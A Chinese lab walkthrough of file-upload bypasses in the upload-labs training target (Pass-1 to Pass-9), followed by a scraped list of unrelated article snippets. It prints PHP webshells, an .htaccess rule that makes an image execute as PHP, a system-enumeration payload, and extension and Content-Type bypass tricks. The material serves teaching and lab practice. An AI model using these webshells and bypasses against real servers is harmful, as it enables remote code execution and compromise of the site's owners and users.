文件上传复现

embedded/2025/3/14 20:20:43/

漏洞原理与技术演进

  1. 核心逻辑缺陷 未对上传文件的以下属性进行校验:
    • 文件扩展名(.php/.jsp/.asp)
    • MIME类型(image/jpeg vs text/html)
    • 文件头标识(FFD8FF vs 3C3F706870)
    • 文件内容(是否包含恶意代码)

前端验证绕过 

<!-- 修改前端代码示例 -->
<input type="file" id="upload" οnchange="checkFile()">
<script>
// 原生JS验证可被开发者工具直接禁用
function checkFile() {
  let file = document.getElementById('upload').value;
  if(!file.match(/\.(jpg|png)$/i)) {
    alert("只允许图片格式!");
    return false;
  }
}
</script>

一、复现upload-labs漏洞

(1)Pass-1 (Javascript 前端检查)

1、判断本关文件上传检测方式

①显示源码

②查看提示

得出结论为JS前端检测。

2、针对防御措施进行绕过上传

通过JS 限制上传的文件类型,对于这种情况,我们可以采用以下几种方式绕过:

①修改JS文件;

②上传png后缀的webshell,代理抓包,修改上传的文件后缀 (推荐);

③禁用js。

3、靶机实战

①这里使用“修改js文件”

右键-查看元素,查看器中找到“οnsubmit=“return checkFile()””删除其值。

②通过木马文件就可以进入后台。

(2)Pass-2 文件类型检查有缺陷

1、判断本关文件上传检测方式

2、针对防御措施进行绕过上传

对文件类型检查有缺陷-检查Content-Type标头是否与MIME 类型匹配。

绕过方式:

①上传webshell.php 内容为:<?php @system($\_GET′cmd′); ?>;

②抓包修改上传的Content-Type 类型为允许的类型 image/jpeg;

③放包,收到成功上传;

④复制文件上传的路径,请求GET /upload/upload/webshell.php?cmd=whoami。

3、靶机实战

①上传webshell.php 内容为:<?php @system($\_GET′cmd′); ?>;

抓包修改上传的Content-Type 类型为允许的类型 image/jpeg;

放包,收到成功上传

(3)Pass-3 黑名单限制不完全

1、判断本关文件上传检测方式

2、针对防御措施进行绕过上传

对于黑名单限制上传文件后缀的可以通过以下几种方式绕过:

①通过使用可被执行但不常见的后缀名,比如php5,shtml等等;

②上传恶意的配置文件(Apache .htaccess) 欺骗服务器将任意自定义文件扩展名映射到可知执行的③MIME类型;

④利用后端解析差异绕过限制。

3、靶机实战

①上传 webshell.php3 内容为:<?php @system($\_GET′cmd′); ?>;

(4)Pass-4

  1. 判断本关文件上传检测方式

①分析源码,黑名单包括了几乎所有php后缀文件,但是并没有屏蔽后缀为.htaccess的文件上传。

②首先上传.htaccecc(此文件不要起名字,就是无标题文件)。

<code class="language-plaintext hljs"><FilesMatch "4.png">
    SetHandler application/x-httpd-php
</FilesMatch></code>

在上述配置中,FilesMatch表示匹配4.png的文件,当该文件名匹配成功后,SetHandler表示将该文件作为PHP类型的文件来进行处置。

③然后上传含有一句话木马的4.png文件。

<code class="language-plaintext hljs">ant=@ini_set("display_errors", "0");@set_time_limit(0);echo "3e231";$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}    ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="    ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="    {$s}";echo $R;;echo "8e51f";die();</code>

④使用远程工具连接。

(5)Pass-5

①观察源码,具有强大的黑名单列表且屏蔽了后缀.htaccess文件上传,并且将后缀名自动转化为小写。

②在文件后缀命中输入一个空格,此空格在上传完成后会自动消失。如5.php

 <code class="language-plaintext hljs"><?php eval($_REQUEST[123])?>
密码:123</code>

③使用远程工具连接。

(6)Pass-6

①分析代码,使用了黑名单,但并没有自动转换大小写,可将文件后缀改为大小写混合绕过

②修改木马文件名为:6.pHP

③上传成功,复制图片url地址。使用远程工具连接。

(7)Pass-7

①查看源码,没有屏蔽空格。

②在文件后缀前加空格7. pHP进行上传,上传成功,复制图片url地址。

③使用远程工具连接

(8)Pass-8

①查看源码,上传文件未进行文件后缀中.的屏蔽。

②在文件后缀中加.符号,如8.ph.p,进行上传,成功后复制图片url地址

③使用远程工具连接

(9)Pass-9

①观察源码,没有对文件后缀的特殊字符进行处理。

②上传9.php文件并用burpsuite进行抓包,在文件名后缀后加上特殊字符::$DATA进行特殊字符绕过。

③放行后,成功上传文件,复制url地址。


http://www.ppmy.cn/embedded/172569.html

相关文章

【数据挖掘】知识蒸馏(Knowledge Distillation, KD)

1. 概念 知识蒸馏&#xff08;Knowledge Distillation, KD&#xff09;是一种模型压缩和知识迁移技术&#xff0c;旨在将大型复杂模型&#xff08;称为教师模型&#xff09;中的知识传递给一个较小的模型&#xff08;称为学生模型&#xff09;&#xff0c;以减少计算成本&…

ST的全新STM32U3微控制器(MCU)简析

一 概述 意法半导体在之前的STM32型号中引领了超低功耗&#xff08;ULP&#xff09;MCU的步伐&#xff0c;现在又推出了新的STM32U3系列&#xff0c;将ULP性能提升到一个新的水平。凭借先进的节能芯片设计&#xff0c;通过人工智能增强工具进行微调&#xff0c;以及运行频率高…

Android 中临时文件存放路径选择

在 Android 中&#xff0c;下载临时文件通常可以放在以下目录中&#xff0c;具体选择取决于应用的需求和目标 Android 版本的限制&#xff1a; 1. 通用临时目录&#xff08;/data/local/tmp/&#xff09; 这是 Android 系统提供的一个通用临时目录&#xff0c;适用于存储临时…

壹佰商城源码搭建-支持打包小程序/公众号/app/h5网页-支持分销-各种营销功能强大

这款系统还是比较推荐的&#xff0c;内置三套模板&#xff0c;支持页面各种自定义&#xff0c;后台可视化操作&#xff0c;适合小白。 可根据个人需求改成拼团商城或者积分商城&#xff0c;后台简单操作。 大致功能&#xff1a; 内置三套模板及可视化的操作&#xff0c;视频…

解锁进行性核上性麻痹护理密码,改善患者生活

进行性核上性麻痹&#xff08;PSP&#xff09;是一种较为罕见且复杂的神经系统变性疾病&#xff0c;会导致患者逐渐出现姿势不稳、眼球运动障碍、吞咽困难、认知功能下降等一系列症状&#xff0c;给患者及其家庭带来沉重负担。做好健康护理&#xff0c;对提升患者生活质量、延缓…

Cisdem Video Converter for Mac v8.4.1 视频格式转换 支持M、Intel芯片

应用介绍 Cisdem Video Converter 将您的视频和音频文件转换为任何格式&#xff0c;以便在一系列设备上即时播放&#xff0c;支持所有编码格式&#xff0c;包括 H.265/HEVC、H.264、Xvid、VP8、VP9 等&#xff0c;并导出视频在最新的 4K UHD 中。它在不牺牲质量的情况下提供了…

手写一些常见算法

手写一些常见算法 快速排序归并排序Dijkstra自定义排序交替打印0和1冒泡排序插入排序堆排序 快速排序 public class Main {public static void main(String[] args) {int nums[] {1,3,2,5,4,6,8,7,9};quickSort(nums,0,nums.length - 1);}private static void quickSort(int[…

Redis项目_黑马点评

部署: 1. 导入sql 开发: Session登录: session的原理是cookie,每个session都有个唯一的sessionId, 在每次访问tomcat的时候sessionId就会自动的写在cookie当中, 携带着sessionId就能找到session, 所以不需要返回用户凭证 每一个进入tomcat的请求都是有一个独立的线程来处理…